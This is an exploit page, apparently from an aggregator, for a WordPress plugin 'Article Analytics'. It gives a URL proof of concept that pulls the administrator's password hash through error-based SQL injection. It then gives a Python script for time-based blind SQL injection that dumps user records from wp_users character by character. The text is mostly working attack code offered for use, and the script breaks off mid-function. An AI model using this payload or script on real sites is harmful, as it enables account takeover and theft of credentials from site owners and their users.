## https://sploitus.com/exploit?id=WPEX-ID:9A383EF5-0F1A-4894-8F78-845ABCB5062D
On a Wordpress blog using MySQL the following PoC allows to extract the hash of the administrator :
http://localhost:8000/?p=1%20AND%20GTID_SUBSET%28CONCAT%280x686173683a%2C%28SELECT%20user_pass%20FROM%20%60wordpress%60.wp_users%20ORDER%20BY%20ID%20LIMIT%201%2C1%29%29%2C4001%29
import sys
from urllib.parse import quote, urlparse, urlunparse
from time import time
import requests
from requests.exceptions import RequestException
# Nicolas "devloop" Surribas - 2023
# Exploit for Wordpress plugin "Article Analytics"
# Time-based blind SQL injection exploit
# Tweak the following parameters
# Time to wait in the DBMS when checking for a value. Increase if the target is lagging. Must be an int.
TIME = 1
# Numbers of users to dump from the users database. For admin account, 1 should be enough.
COUNT_USERS = 2
# Users table. Change if custom.
USERS_TABLE = "wp_users"
class ColumnDumper:
def __init__(self, table_name, column_name, order_by):
self._table = table_name
self._column = column_name
self._order_by = order_by
def get_at_offset(self, offset):
return f"SELECT IFNULL(CAST({self._column} AS NCHAR),0x20) FROM {self._table} ORDER BY {self._order_by} LIMIT {offset},1"
def get_char_at(self, expression, offset):
return f"ORD(MID(({expression}), {offset}, 1))"
def test(self, expression, success, failure):
return f"IF({expression}, {success}, {failure})"
def sleep(self, expression):
return f"(SELECT SLEEP({expression}))"
def test_value(self, column_offset, char_offset, operator, value):
return self.sleep(
self.test(
self.get_char_at(self.get_at_offset(column_offset), char_offset) + f" {operator} {value}",
TIME,
0
)
)
class Exploit:
def __init__(self, url):
self._sess = requests.session()
parts = urlparse(url)
# Get rid of parameters to have a clean version with empty "p" parameter
self._url = urlunparse((parts.scheme, parts.netloc, parts.path, "", "p=", ""))
def run(self, column_name):
"""Dump columns using cheap dichotomy"""
self._cd = ColumnDumper(USERS_TABLE, column_name, "ID")
for column_idx in range(COUNT_USERS):
content = ""
done = False
for char_offset in range(1, 128):
candidates = self.get_test_range(column_idx, char_offset)
for c in candidates:
if self.test_char(column_idx, char_offset, c):
if c == 0:
done = True
break
content += chr(c)
print(f"In progress: {content}")
break
else:
break
if done:
break
print(f"Found {content}")
def perform_test(self, expression):
"""Fetch the URL, check the time for response"""
start = time()
# Uncomment that line to see the requests
# print(self._url + expression)
url = self._url + quote(expression)
self._sess.get(url + quote(expression))